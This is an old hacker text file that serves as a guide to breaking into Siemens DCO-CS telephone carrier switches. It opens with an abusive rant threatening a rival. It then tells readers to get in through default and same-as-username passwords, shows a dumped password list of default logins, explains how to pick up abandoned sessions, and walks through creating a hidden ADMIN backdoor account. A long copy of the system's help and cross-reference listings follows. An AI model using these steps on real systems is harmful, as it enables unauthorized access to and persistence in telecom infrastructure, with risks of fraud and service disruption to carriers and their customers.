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Guide to Navigating and Using DCO




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                 CyBrids CSE         
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NOTE :   Hi, i`m DemonBytez, i would just like to say
         FUCK YOU - to MR. Nobody for posting his
         STOLEN! information from me on DCO. See kids
         His info was straight from me. the DCO dial-up
         and everything. Actually from an old enemy whom
         Used to be my freind when i orignally scanned
         for the DCO and found it. He then stole my dial-up
         and my LOGS and my PASSWD and personal NOTES,
         And felt it would be K-RAD of him to get some
         Publicity by giving out the info i fucking worked
         For. BULL SHIT. if anyone reading this wants to know
         Who this kid is, don't worry. By the time you have this
         his ass will be lying in the gutter since he is local to me.
         Bring on the w00penz! Cyklonik and port9. you run
         Cause as of now. We Own you. But as i will point out,
         that MR. nobody did do some good research.
         NOW! On with the SHOW!
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Guide to navigating and using DCO

        By : DemonBytez of CyBrids CSE




        Welcome kiddies, to another fun-filled edition of my happy text writing
 skeewlz.
Today were going to be learning about DCO, what to do and what not to do. ;)

        DCO-CS operating system currently is being used by such
telecommunications business's as westel (WesTelecommunication) which handles
Long distance and the likes. The particular DCO box i was playing in is based i
n houston.
I found it one day scanning around. And i suppose that this particular one,
was just being set-up because logs were printed out to the screen.

DCO-CS has been
designed, installed and is maintained by Siemens Stromberg-Carlson(r) , the com
pany, with a century in
experience in the manufacturing of telecommunications equipment.
Integrated to the DCO-CS most systems run the IBM AS/400,
which is a powerful operating system that is integrated to a multi-functional d
atabase.
This whole system is a 24 hour reliable
"real time" processing computer with the integration of the Intelink(tm)(r) Sys
tem.

The Siemens(r) Stromberg-Carlson(r) Digital
Central Office Carrier Switch (DCO-CS(tm)) is ideally designed for the medium t
o small businesses using Interexchange
Carrier Telephone System.
The DCO-CS, in its field, has the reputation of employing the latest in advance
d technology, which
a Interexchange Carrier requires.

Some of the many characteristics this equipment has are as follows:

     Least Cost Routing
     Account Code / ANI Validation
     Feature Groups A, B, C, D & Inter Machine Trunks
     Automatic Message Accounting
     Partitioning of Individual Customer Route Treatments
     Real Time Fraud Detection
     700 / 800 / 900 Service
     Hot Line Routing
     Debit Card / Calling Card
     International Call Back
     800 Number Portability
     SS7
     800 Signaling Transfer Point
     ISDN Transport (Integrated Services Digital Network)
     Direct Access Lines
     Operator Lines
     Line Sides Operation
     Follow-on Call

The Digital Central Office - Carrier Switch (DCO-CS(tm))
is a field proven, fully featured telephone switching system
optimized for interexchange carrier and reseller operations.

-
ALSO here is an excerpt from the newsletter from PHUN in 96 i think :
-

It seems that one company has devised a way of disguising good codes
while
someone is hacking them in real-time! The following is taken from that
article:

      "We have written software in our DCO-CS [Digital Central Office-Carrier
   Switch] that can detect when one of these hackers is at work by recognizing
   the patterns they frequently use..... Usually a hacker will hit one code,
   two codes, three codes, etc. - they usually follow some sort of pattern".
      "By using their computers to perform a set of mathematical procedures,
   or algorithms, hackers have been able to determine authorized calling
codes.
   We use the algorithms to figure out what he's dailed so far and then
   determine where he's going next"
      "If he's going to what we know is a good code, then we will make it look
   like a bad code for his call only. If he does hit that good code, he won't
   be able to get through."
      "If he's using a random pattern with his off code, he's probably using
   either the same number he's calling to, which we can monitor by watching
   the successive call to that same number, or we can monitor the fact that
   he's hitting 'x' number of bad off codes in a row."

-

So you can assume `using` DCO-CS is safe. BUT! running it? LOL. not a chance.

but PHUN's excerpt would explain why the logs are spewed out
everytime you stroke a key basically.

The logs look like this :


                .___State
                |    .__Company .__Year-month-day
                |    |         /      .___ Time
    CITY____.   /    /        /      /        .__TASK
            \/ \/   \/       \/     \/       \/
        XXXXXX_XX_WESTEL 90-00-20 20:11:38 TASKCK TT07  <--- Port
           MP .0746:FILE=SY:/FPDB/TXSIT
                /\         /\
                 \          \
                  \          \__No clue.
                   \__LOG


Scarry for someone who won't have admin access. but wait! whats that you say?
You repeatedly type shit, yet the only thing that appears on the screen
is this annoying bitch :

DCO>

DCO>

DCO>

DCO>

DCO>

Well Don't Fret! ;) You shall have admin access shortly. ok kids get this.
When trying to type a command line in, use the `$` sign to do ANYTHING.
I will include logs to show what i mean later.
ALSO!
The passwd file on this system is not encrypted and most likley is in DEFAULT!!
!
YAY! kinda reminds me of the 80's once again *sigh*

ok anyhow, You might see shit when your at the login prompt
and you see shit fly by about a user. Hmmmm you ask yourself "hey is this a use
r i can use?" lol.
Yes. it is. and 90 % of the time. his passwd is the same as his login. Gadda lo
ve it.

Lookie here at this

once i was in i pulled a little $PASSWM which is also described in the help fil
e with a $HELP.

This is what the passwd file looks like :

----------log----------------
$PASSWM

   XXXXXX_XX_WESTEL XX-XX-XX XX:XX:XX PASSWM TT07
M  ADM.0000: PASSWM BEGIN DIALOGUE

PAS> ENTER FUNCTION (FUNC=HELP) > ?

   LIST
   ADD
   DELETE
   EXIT
   CHANGE

PAS> ENTER FUNCTION (FUNC=HELP) > LIST

   NAME      PASSWORD  GROUP(S)
   ----      --------  --------
   ADMIN        ADMIN  ADMIN
   SECURE      SECURE  SECURE
   TMRS          TMRS  TMRS
   SCAT          SCAT  SCAT
   MAINT        MAINT  MAINT
   STATUS      STATUS  STATUS
   NAC            NAC  NAC
   ESPF          ESPF  ESPF
-----------log-------------------------

This is the default logins for almost all DCO-CS systems you come across.
We will get to the different groups meaning and everything in the next installm
ent.

when making new login create something non noticable :

like this

$PASSWM

than goto ADD

i.e.  -

=========log=====================
PAS> ENTER FUNCTION (FUNC=LIST) > ADD

PAS> USERNAME (USERNAME=HELP) > Technical

PAS> PASSWORD (PASSWORD=HELP) > Technical

PAS> GROUP (GROUP=HELP) > ADMIN

PAS> ENTER GROUP FUNCTION (GROUP_FUNCTION=HELP) > ADD
========log======================


BLamo! new user. you can use this as a backdoor at anytime,
And All users can veiw the passwd file at any time.

Also a neat little trick is that much like older unix systems,

ODC-CS Often leaves the person whom didn't log out, and just closed connection,
 it leaves
there full account open, so you could poosibly get admin on connect ;)





Heres the full unadulterated $HELP file for DCO-CS OS.




$HELP

   VALID AREAS:

   FUNC - AVAILABLE MMI FUNCTION LIST
   MMIS - MMI SUMMARY
   XREF - RLS1000 AND RLS4000 FUNCTION CROSS REFERENCE

HEL> HELP AREA (AREA=FUNC) > FUNC

========
This is MMI functions list you can currently use.
after every so many lines it will prompt you for further help. just press yes.
At any time during any Functions, just press CTRL+P to brake anything.


AVAILABLE FUNCTIONS ARE:

ABNUTL   -    PERFORM AUTOMATIC BALANCE NETWORK FUNCTIONS
ABORT    -    ABORT OPERATION OF AN ACTIVE TASK
ACISU    -    ALARM CONTROL INTERFACE START UP
ACITST   -    TEST ALARM CONTROL INTERFACE
ACTUTL   -    DISPLAY/ACKNOWLEDGE/CLEAR ACTIVE ALARMS
ADMIN    -    RECENT CHANGE/DATABASE ADMINISTRATION
ALMSEN   -    SWITCH BETWEEN LOCAL AND REMOTE ALARM REPORTING
AMA      -    CONFIGURE AUTOMATIC MESSAGE ACCOUNTING (AMA)
AMCDMP   -    ADMINISTER AMA MESSAGE THRESHOLDS
AMFMAU   -    VERIFY FORMATTED AMA TICKETS
AMOPT    -    ADMINISTER SYSTEM OPTIONS
AMPRPT   -    SET FREQUENCY OF REPEAT NOTIFICATION OF ALARMS
AMPUTL   -    ALARM MESSAGE PROCESSING UTILITY
AUDIT    -    VERIFY S/W RECORD OF H/W STATES MATCH ACTUAL H/W
BKRNS    -    BACKUP RNS DISK AT THE HOST OFFICE
BLDINH   -    MASK/UNMASK BUILDING SECURITY ALARM
BUFDMP   -    SEARCH/CLEAR/DUMP CP BUFFERS
CANCEL   -    CANCEL WATCH TIMER FOR TID AND IDN
CBUG     -    DEBUG UTILITY FOR LLS/RLS-1000 AND CODC DEVICES
CHEKER   -    COMPARE MP MEMORY TO DISK

HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y


AVAILABLE FUNCTIONS ARE:

CHKUTL   -    VERIFY DISK INTEGRITY
CLEAR    -    INITIALIZE SPAN ERROR COUNTERS
CODE     -    DCO-CS CUSTOMER ROUTING
CONFIG   -    CONFIGURATION CONTROL (LOAD,SWITCH,MASK,ETC.)
CONUTL   -    CONVERT EQUIPMENT NUMBERS
COPY     -    COPY DATABASES FROM MEMORY TO DISK
CPDMP    -    DISPLAY DATA COLLECTED FROM A CP CRASH
CPPTCH   -    CALL PROCESSING PATCH UTILITY
CPREST   -    ONLINE CP RESET
CPSRCH   -    SEARCH CP BUFFER
CPSU     -    CALL PROCESSING START UP
CSADM    -    DCO-CS ADMINISTER ANI DN'S AND AUTH CODES
DBADMN   -    DCO-CS CHANGE MAX ENTRIES IN SELECTED TABLES
DBUTL    -    ADMINISTER MP DATABASE PARAMETERS
DBVER    -    DATABASE VERIFICATIONS AND CONFIGURATION REPORTS
DEBUG    -    DEBUG UTILITY FOR MP
DEVMOU   -    BUILD CONFIG FILE TO REBUILD SYSTEM MOUNT STATUS
DIAG2    -    MANUALLY DIAGNOSE/VERIFY FAULT IN MOS SIDE OF SYSTEM
DIAG3    -    MANUAL DIAGNOSTICS TO TEST FORCED FAULTS
DMPUTL   -    DUPLEX MP UTILITY (LOCK,SWITCHOVER,DOWNLOAD,ETC.)

HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y


AVAILABLE FUNCTIONS ARE:

DNAUTL   -    DIRECTORY NUMBER AUDIT UTILITY
DTIUTL   -    CONFIGURE/STATUS OF DTI/DS1M FOR LLS/RLS-1000/RLS-4000
DUMPER   -    DUMP RAW DATA RECORDS FROM DISK
ECCRPT   -    REPORT 1-BIT PARITY ERRORS CORRECTED IN CP/MP/FP
ECD      -    DISPLAY ERROR COUNTERS
EDIT     -    DCO SYSTEM EDITOR
EQCHEK   -    TEST ACCESS TO EQUIPPED HARDWARE
FILSYS   -    PERFORM FILE OR DISK MANIPULATION FUNCTIONS
FLSH     -    FLUSH ALARM MESSAGE PROCESSING BUFFERS
FLXANI   -    DCO-CS ADMINISTER FLEX ANI TABLES
FPBUG    -    DEBUG UTILITY FOR FP
FPCDMP   -    DISPLAY/SAVE DATA COLLECTED FROM AN FP CRASH
FPSU     -    FEATURE PROCESSOR (FP) START UP
FREE     -    DISPLAY NUMBER OF FREE BLOCKS IN MP MEMORY
FXLN     -    ADMINISTER/CONFIGURE FX COMMUNICATIONS TO AN RNS
GBUG     -    GENERIC DEBUG UTILITY
HEY      -    MP OPERATING SYSTEM TASK COMPLETION ADVISOR
HSTUTL   -    COLLECT/RETRIEVE HISTORY OF ALARM MESSAGES
HOTLIN   -    DCO-CS ADMINISTER HOT LINE DATA BASE
INSTAL   -    MP OPERATING SYSTEM MANUAL TASK INSTALLER

HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y


AVAILABLE FUNCTIONS ARE:

INWANI   -    DCO-CS ADMINISTER INWATS NUMBER ROUTED BY NPA/NXX
INWATS   -    DCO-CS ADMINISTER INCOMING 800 SERVICE
ISUUTL   -    ADMINISTER ALARM LEVEL PRIORITIES AND CONDITIONS
LLC      -    LINE LOAD CONTROL OF SUBSCRIBER LINES
LOGOFF   -    LOGS OFF TERMINAL
LSPT     -    LIGHT TRAFFIC TESTS (DO NOT RUN DURING HEAVY TRAFFIC)
MACLR    -    CLEAR MEMORY AUDIT DATA
MANUAL   -    MANUAL CONTROL OF PORTS
MAUDIT   -    MEMORY AUDIT ROUTINE
MBI      -    REPORT MASKS AND ERRORS ON MBI BUS
MEMCHK   -    REPORT DIFFERENCES BETWEEN CP MEMORY (GENERIC CODE) AND DISK
MEMMAP   -    DISPLAY MEMORY MAP
MODEM    -    ADMINISTER SYSTEM PARAMETERS FOR MODEM SECURITY
MOVEDB   -    DCO-CS DATA BASE COMPRESS PROGRAM
MSKUTL   -    TEMPORARILY MASK ALARM AND MESSAGE REPORTING
NITSWC   -    INITIATE SERVICE CIRCUIT SWITCHOVER
OCC      -    DCO-CS ADMINISTER SYSTEM OPTIONS
OPR      -    DCO-CS ADMINISTER OPERATOR GROUPS
PABX     -    ADMINISTER PABX GROUPS
PARTN    -    DCO-CS ADMINISTER PARTITION NUMBER TABLES

HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y


AVAILABLE FUNCTIONS ARE:

PASSWM   -    ADMINISTER USER PASSWORD LIST
PATCH    -    MP OPERATING SYSTEM PATCHER
PATRPT   -    FORMAT PATCH INTO REPORT
PAUDIT   -    AUDIT PATCHES APPLIED TO DISK/SYSTEM
PCOS     -    DCO-CS ADMINISTER PARTITION CLASS OF SERVICE
PED      -    ADMINISTER/APPLY/VERIFY PATCHES TO DISK/SYSTEM
POORA    -    POINT OF ORIGINATION FOR RECORDED ANNOUNCEMENTS
PORTST   -    LIST PORT STATUS; LIST/CHANGE LOCKOUT THRESHOLDS
PSAUTL   -    PORT STORE AREA (PSA) UTILITY
REBOOT   -    REBOOTS THE MAINTENANCE PROCESSOR
RECOV    -    PUT CALL PROCESSORS IN SYNC
REMOVE   -    REMOVE A RESIDENT PROGRAM FROM MEMORY
RESTOR   -    RESTORE CALL PROCESSOR
RFRNS    -    COPY FILES FROM RNS TO THE HOST OFFICE
RGU      -    DCO-CS LEAST COST ROUTING UPDATE/DISPLAY
RNSAMA   -    DISPLAY AMA BUFFER STATUS IN AN RNS AT THE HOST
RNSBMP   -    DISPLAY RNS BMP STATUS AT THE HOST
RNSUTL   -    CONFIGURE/STATUS/DIAGNOSTIC TESTING OF SIGNALING LINKS
ROTL     -    TRANSMISSION/OPERATIONAL TESTING OF OUTGOING & 2-WAY TRUNKS
ROUTE    -    DCO-CS DISPLAY CUSTOMER ROUTING

HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y


AVAILABLE FUNCTIONS ARE:

RRTUTL   -    REROUTE MESSAGES TO ADDITIONAL TERMINAL POINTS
RSMUTL   -    REMOVE/RESTORE/MASK/UNMASK/TEST RLG SPAN
RSUTL    -    ROUTINE SWITCHOVER UTILITY
RTEST    -    ROUTINE TESTING
RTOPT    -    ADMINISTER ANALOG TRUNKS AND SERVICE CIRCUITS
RTR      -    ADMINISTER ROUTE TREATMENT DATABASE
SBUG     -    STOP FPBUG
SCTST    -    DCO-CS SERVICE CIRCUIT DIAGNOSTICS
SECTTY   -    ADMINISTER TERMINAL ACCESS GROUP(S)
SELMCL   -    OUTGOING CALL TRACE
SELNUM   -    DCO-CS ADMINISTER BLOCKED DIRECTORY TABLES
SERV     -    DCO-CS CHANGE SERVICE CIRCUIT TABLES
SLUUTL   -    CONFIGURE/ADMINISTER/MASK/TEST SLUS
SNCUTL   -    CONFIGURE/STATUS OF SNC FOR LLS & RLS-1000
SPCALL   -    DCO-CS ADMINISTER SPEED CODES
STASND   -    DIGIT ALARM SENDING UTILITY
STATE    -    DISPLAY SYSTEM STATE
STATE1   -    CHANGE TO SYSTEM STATE 1
STATE2   -    CHANGE TO SYSTEM STATE 2
STATUS   -    DISPLAY SYSTEM STATUS

HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y


AVAILABLE FUNCTIONS ARE:

STOP     -    TERMINATE EXECUTION OF $TEST, $GBUG, $DIAG2, OR $BTBT
SWITCH   -    MANUALLY SWITCH TONES/RINGING GENERATORS/CLOCKS (NON RLS-4000)
TAPE     -    DISPLAY FORMATTED TICKETS ON AMA TAPE
TASKCK   -    AUDITS THE DISK DATABASE FOR NECESSARY/UNNECESSARY FILES
TCOS     -    ADMINISTER TRUNK CLASS OF SERVICE
TFM      -    ACTIVATE/DEACTIVATE/AUDIT/DISPLAY TMRS
TFMRP    -    DISPLAY SPECIFIC TMRS MEASUREMENTS/REPORT DATA/STUDY SET
TIKFM    -    DCO-CS DISPLAY AMA TAPE FORMAT
TIME     -    DISPLAY SYSTEM DATE/TIME
TIMEC    -    CHANGE SYSTEM DATE/TIME
TIMER    -    ADMINISTER/CONFIGURE CP OCCUPANCY MEASUREMENTS
TKTHRS   -    ADMINISTER TRUNK THRESHOLDS
TMAD     -    ADMINISTER/CONFIGURE TMRS
TMBUG    -    DEBUGGER FOR TRAFFIC MEASUREMENT PROCESSOR
TMPDMP   -    DISPLAY DATA COLLECTED FROM A TMP CRASH
TMRPRT   -    MANUALLY DISPLAY A TMRS VARIABLE REPORT (WITH FP)
TRACE    -    DCO-CS CALL TRACE UTILITY
TRACER   -    ALLOWS USE OF TRACER BOARD FOR CP
TRK      -    ADMINISTER TRUNK GROUP ASSIGNMENTS
TRKUTL   -    ADMINISTER TRUNK TESTING DATABASE

HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y


AVAILABLE FUNCTIONS ARE:

TSEP     -    ADMINISTER/CONFIGURE TRAFFIC SEPARATIONS
TTU      -    ADMINISTER TRANSLATION DATABASE
UNMASK   -    ENABLE REPORTING OF MESSAGES & H/W FAULTS (NON-RLS-4000)
UNSYNC   -    TAKE CALL PROCESSORS OUT OF SYNC
UPACK    -    UNPACK A FILE
UPDATE   -    UPDATE THE SYSTEM STATE
UTL      -    MOUNT/DISMOUNT DEVICE/FEATURE; CONFIGURE TASKS
VALPC    -    DCO-CS ADMINISTER VALIDATED PROJECT CODES
VCHECK   -    VERSION CHECKER
VST      -    ADMINISTER VARIABLE STATE TIMERS
XDSO     -    CP MESSAGE SENDER/DEBUGGER
XFER     -    TRANSFER FILES BETWEEN THE DCO AND ANOTHER SYSTEM
XRTEST   -    TERMINATE ROUTINE TESTING

==============================================================



AND here is the MMIS a `brief` summary found on the system


============================================

HEL> HELP AREA (AREA=FUNC) > MMIS


BRIEF SUMMARY OF MMI:

THE \ ALLOWS SPECIAL CHARACTERS TO BE INPUT TO A TASK.

THE , DENOTES A PARAMETER SEPARATOR.

THE ! DENOTES A LINE CONTINUATION CHARACTER.

THE ; DENOTES A LINE TERMINATOR.

THE : IS SYNONYMOUS TO DONE.

THE "" IS USED TO ENCLOSE A STRING OF ONE OR MORE CHARACTERS.

BRIEF SUMMARY OF MMI:

IF A SINGLE RESPONSE CONTAINS MORE THAN 65 CHARACTERS, THE
EXCESS CHARACTERS WILL BE TRUNCATED.

IF THE RESPONSE CONTAINS A BLANK OR COMMA NOT BEING USED AS A
DELIMITER, THE ENTIRE STRING MUST BE ENCLOSED IN DOUBLE
QUOTATION MARKS.  THE 65-CHARACTER RESTRICTION STILL APPLIES.


EXIT IS A VALID RESPONSE TO ANY PROMPT.

HELP IS A VALID RESPONSE TO ANY PROMPT AND LISTS THE VALID

HEL> DISPLAY ADDITIONAL MMI STANDARDS (MORE=YES) > Y


BRIEF SUMMARY OF MMI:

RESPONSES WITH A DESCRIPTION OF EACH. HELP MUST BE
ENTERED IN FULL BECAUSE MCR IS NOT USED FOR HELP.

HELP= HAS VALID VALUES OF ON OR OFF AND CAN BE ENTERED AT ANY
PROMPT.  ON WILL DISPLAY THE HELP INFORMATION AUTOMATICALLY
PRIOR TO ALL PROMPTS.  OFF WILL DISABLE THE AUTOMATIC HELP
INFORMATION.

THE ^ IS A VALID RESPONSE TO ANY PROMPT AFTER THE INITIAL
PROMPT AND IS USED TO MOVE TASK EXECUTION TO THE PREVIOUS
LEVEL OF PROMPTING. THE ^ IS NOT ALLOWED AT THE INITIAL
PROMPT BECAUSE IT CANNOT BE USED TO EXIT A TASK.



THE ALL RESPONSE ALLOWS THE USER TO SPECIFY MULTIPLE DEVICES,
TESTS, AND CONFIGURATIONS (SELECT PROMPTS ONLY).

THE CTRL P IS USED TO CANCEL A FUNCTION IN PROGRESS.


HEL> DISPLAY ADDITIONAL MMI STANDARDS (MORE=YES) > Y


BRIEF SUMMARY OF MMI:

THE & WHERE VALID REPRESENTS A LOGICAL AND.

THE && WHERE VALID REPRESENTS A LOGICAL INCLUSIVE THROUGH.

THE * ALLOWS THE USER TO SELECT THE ENTIRE RANGE OF POSSIBILITIES.

THE OPTION WORD IS ENTERED ON THE INITIAL COMMAND LINE AFTER THE
TASK NAME.  THE OPTION WORD IS ASSIGNED A VALUE (-F[OCTAL]) OR
IT'S ASCII REPRESENTATION.

    VALUE      ASCII           DEFINITION

HEL> DISPLAY ADDITIONAL MMI STANDARDS (MORE=YES) > Y


BRIEF SUMMARY OF MMI:

____________________________________________________________
    -F1        /NODIAL         NO DIALOGUE (HEADER OR TRAILER
                               MESSAGE OUTPUT) TO TERMINAL.
    -F2        /OFFLINE        REQUEST COMMUNICATION WITH
                               OFF-LINE CP.
    -F4        /NOCOMM         COMMUNICATION WITH TTY IS NOT
                               NEEDED.  ALL INPUT MUST BE ON
                               THE COMMAND LINE.
    -F40       /NOPAGE         DO NOT OUTPUT IN PAGINATED FORM.

VALUES MAY BE ADDED TOGETHER TO INDICATE MULTIPLE OPTIONS,
   EG: -F3 = -F1 AND -F2





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And heres the complete XREF help file :


=============================================


HEL> HELP AREA (AREA=MMIS) > XREF

   TASK     FUNCTION                  RLS-1000             RLS-4000

   ABNUTL   DISABLE                   NO CHANGE TO MMI     NO CHANGE TO MMI
   ABNUTL   DISPLAY                   NO CHANGE TO MMI     NO CHANGE TO MMI
   ABNUTL   ENABLE                    NO CHANGE TO MMI     NO CHANGE TO MMI
   ABNUTL   TEST                      $TEST                $TEST
   ADMIN    CEI-CUST EQPMNT INTERFACE $ADMIN CEI           $ADMIN CEI
   ADMIN    ESS-RLS-4000 ESS FILES    $ESS                 $ADMIN ESS
   ADMIN    HG-HUNT GROUP             NO CHANGE TO MMI     NO CHANGE TO MMI
   ADMIN    LCC-LINE CLASS CODES      NO CHANGE TO MMI     NO CHANGE TO MMI
   ADMIN    LINE                      NO CHANGE TO MMI     NO CHANGE TO MMI
   ALMSEN   REMOTE ALARM SENDING      NO MMI               NO MMI
   BBTSTOP                            $STOP BTBT           $STOP BTBT
   BBTUTL   BOARD-TO-BOARD TEST       NO CHANGE TO MMI     NO CHANGE TO MMI
   CBUG     *                         NO CHANGE TO MMI     N/A
   CBUG     +                         NO CHANGE TO MMI     $GBUG
   CBUG     -                         NO CHANGE TO MMI     $GBUG
   CBUG     ACI                       NO CHANGE TO MMI     N/A
   CBUG     ALITT                     NO CHANGE TO MMI     $GBUG
   CBUG     BA                        NO CHANGE TO MMI     $GBUG
   CBUG     BYT                       NO CHANGE TO MMI     $GBUG

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   CBUG     BYTE                      NO CHANGE TO MMI     $GBUG
   CBUG     CBC                       NO CHANGE TO MMI     N/A
   CBUG     CDE                       NO CHANGE TO MMI     $GBUG
   CBUG     CFD                       NO CHANGE TO MMI     $GBUG
   CBUG     CLR RESTART               NO CHANGE TO MMI     N/A
   CBUG     CODC                      NO CHANGE TO MMI     N/A
   CBUG     CODC READ                 NO CHANGE TO MMI     N/A
   CBUG     CODC WRITE                NO CHANGE TO MMI     N/A
   CBUG     CR                        NO CHANGE TO MMI     N/A
   CBUG     CSD                       NO CHANGE TO MMI     N/A
   CBUG     D                         NO CHANGE TO MMI     $GBUG
   CBUG     DB                        NO CHANGE TO MMI     $GBUG
   CBUG     DCOSLC                    NO CHANGE TO MMI     N/A
   CBUG     DEBUG                     NO CHANGE TO MMI     $GBUG
   CBUG     DEC                       NO CHANGE TO MMI     $GBUG
   CBUG     DEV                       NO CHANGE TO MMI     $GBUG
   CBUG     DEVICE CODC               NO CHANGE TO MMI     N/A
   CBUG     DEVICE DLI                NO CHANGE TO MMI     N/A
   CBUG     DEVICE RPL                NO CHANGE TO MMI     N/A

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   CBUG     DL                        NO CHANGE TO MMI     $GBUG
   CBUG     DLI                       NO CHANGE TO MMI     N/A
   CBUG     DLI READ                  NO CHANGE TO MMI     N/A
   CBUG     DLI WRITE                 NO CHANGE TO MMI     N/A
   CBUG     DM                        NO CHANGE TO MMI     $GBUG
   CBUG     DMP                       NO CHANGE TO MMI     $GBUG
   CBUG     DMPB                      NO CHANGE TO MMI     $GBUG
   CBUG     EV                        NO CHANGE TO MMI     $GBUG
   CBUG     EVA                       NO CHANGE TO MMI     $GBUG
   CBUG     EXIT                      NO CHANGE TO MMI     $GBUG
   CBUG     FC                        NO CHANGE TO MMI     N/A
   CBUG     FD                        NO CHANGE TO MMI     $GBUG
   CBUG     FINK CPD                  NO CHANGE TO MMI     $GBUG
   CBUG     FINK DUMP                 NO CHANGE TO MMI     $GBUG
   CBUG     FINK OFF                  NO CHANGE TO MMI     $GBUG
   CBUG     FINK ON                   NO CHANGE TO MMI     $GBUG
   CBUG     FLYING DUMP               NO CHANGE TO MMI     $GBUG
   CBUG     HELP                                           $GBUG
   CBUG     HEX                       NO CHANGE TO MMI     $GBUG

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   CBUG     INS D                     NO CHANGE TO MMI     N/A
   CBUG     L                         NO CHANGE TO MMI     $GBUG
   CBUG     LB                        NO CHANGE TO MMI     $GBUG
   CBUG     LGC                       NO CHANGE TO MMI     $GBUG
   CBUG     LGH                       NO CHANGE TO MMI     N/A
   CBUG     LOAD                      NO CHANGE TO MMI     $CONFIG LOAD
   CBUG     LOC                       NO CHANGE TO MMI     $GBUG
   CBUG     LSC-II                    NO CHANGE TO MMI     $GBUG
   CBUG     LSC DOWNLOAD              NO CHANGE TO MMI     $CONFIG
   CBUG     LSC RESTART               NO CHANGE TO MMI     $GBUG
   CBUG     LTC                       NO CHANGE TO MMI     $GBUG
   CBUG     MAH                       NO CHANGE TO MMI     N/A
   CBUG     MAR                       NO CHANGE TO MMI     N/A
   CBUG     MCI                       NO CHANGE TO MMI     N/A
   CBUG     MDC                       NO CHANGE TO MMI     N/A
   CBUG     MDC2                      NO CHANGE TO MMI     N/A
   CBUG     MDC3                      NO CHANGE TO MMI     N/A
   CBUG     MTO                       NO CHANGE TO MMI     N/A
   CBUG     MUX                       NO CHANGE TO MMI     N/A

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   CBUG     NO RESET                  NO CHANGE TO MMI     $GBUG
   CBUG     NORM                      NO CHANGE TO MMI     $GBUG
   CBUG     OCT                       NO CHANGE TO MMI     $GBUG
   CBUG     PBR1                      NO CHANGE TO MMI     N/A
   CBUG     PBRO                      NO CHANGE TO MMI     N/A
   CBUG     PGH                       NO CHANGE TO MMI     $STATUS
   CBUG     PROMID                    NO CHANGE TO MMI     $GBUG
   CBUG     RA                        NO CHANGE TO MMI     $GBUG
   CBUG     RESTART                   NO CHANGE TO MMI     $GBUG
   CBUG     RESTORE                   NO CHANGE TO MMI     $GBUG
   CBUG     RING                      NO CHANGE TO MMI     $TEST
   CBUG     RIO                       NO CHANGE TO MMI     N/A
   CBUG     RPL                       NO CHANGE TO MMI     N/A
   CBUG     RPL READ                  NO CHANGE TO MMI     N/A
   CBUG     RPL WRITE                 NO CHANGE TO MMI     N/A
   CBUG     S                         NO CHANGE TO MMI     $GBUG
   CBUG     SB                        NO CHANGE TO MMI     $GBUG
   CBUG     SEG                       NO CHANGE TO MMI     $GBUG
   CBUG     SET                       NO CHANGE TO MMI     $GBUG

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   CBUG     SG                        NO CHANGE TO MMI     $GBUG
   CBUG     SLCDCO                    NO CHANGE TO MMI     N/A
   CBUG     SR                        NO CHANGE TO MMI     $GBUG
   CBUG     SWITCH                    NO CHANGE TO MMI     $CONFIG SWITCH
   CBUG     TCB                       NO CHANGE TO MMI     N/A
   CBUG     UNMASK                    NO CHANGE TO MMI     $CONFIG UNMASK
   CBUG     WOR                       NO CHANGE TO MMI     $GBUG
   CBUG     WORD                      NO CHANGE TO MMI     $TFSTST
   CBUG     XD                        NO CHANGE TO MMI     $TFSTST
   CBUG     XD SUM                    NO CHANGE TO MMI     $TFSTST
   CBUG     XDD                       NO CHANGE TO MMI     $TFSTST
   CBUG     XDP                       NO CHANGE TO MMI     $TFSTST
   CBUG     XDR                       NO CHANGE TO MMI     $TFSTST
   CBUG     XS                        NO CHANGE TO MMI     $TFSTST
   CBUG     Z                         NO CHANGE TO MMI     $GBUG
   CBUG     ZB                        NO CHANGE TO MMI     $GBUG
   CODRES   CODE RESTRICTION ADMIN    $ADMIN CODRES        $ADMIN CODRES
   CONUTL   CONVERT ENS               NO CHANGE TO MMI     NO CHANGE TO MMI
   CPREST   CPREST                    NO CHANGE TO MMI     N/A

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   CPREST   CPREST OFL                NO CHANGE TO MMI     N/A
   CPREST   CPREST ONL                NO CHANGE TO MMI     N/A
   CPREST   ERROR CONDITIONS          NO CHANGE TO MMI     N/A
   CPSU     STATE 1 CPSU              NO CHANGE TO MMI     N/A
   CPSU     STATE 1 CPSU C            NO CHANGE TO MMI     N/A
   CPSU     STATE 1 CPSU S            NO CHANGE TO MMI     N/A
   CPSU     STATE 2 CPSU              NO CHANGE TO MMI     N/A
   CPSU     STATE 4                   NO CHANGE TO MMI     N/A
   CUSUTL   ADD                       $ADMIN CEI           $ADMIN CEI
   CUSUTL   CHANGE                    $ADMIN CEI           $ADMIN CEI
   CUSUTL   DEL                       $ADMIN CEI           $ADMIN CEI
   CUSUTL   DISP                      $ADMIN CEI           $ADMIN CEI
   CUSUTL   LIST                      $ADMIN CEI           $ADMIN CEI
   DBUTL    CUS                       $ADMIN CEI           $ADMIN CEI
   DBUTL    DTSITE                    NO CHANGE TO MMI     $ADMIN RLS
   DBUTL    LSDB                      NO CHANGE TO MMI     $ADMIN RLS
   DTIUTL   CLR-CLEARS ERROR COUNTERS NO CHANGE TO MMI     $CLEAR
   DTIUTL   FZR-REMOVE THE FREEZE BIT NO CHANGE TO MMI     $CONFIG UNLOCK
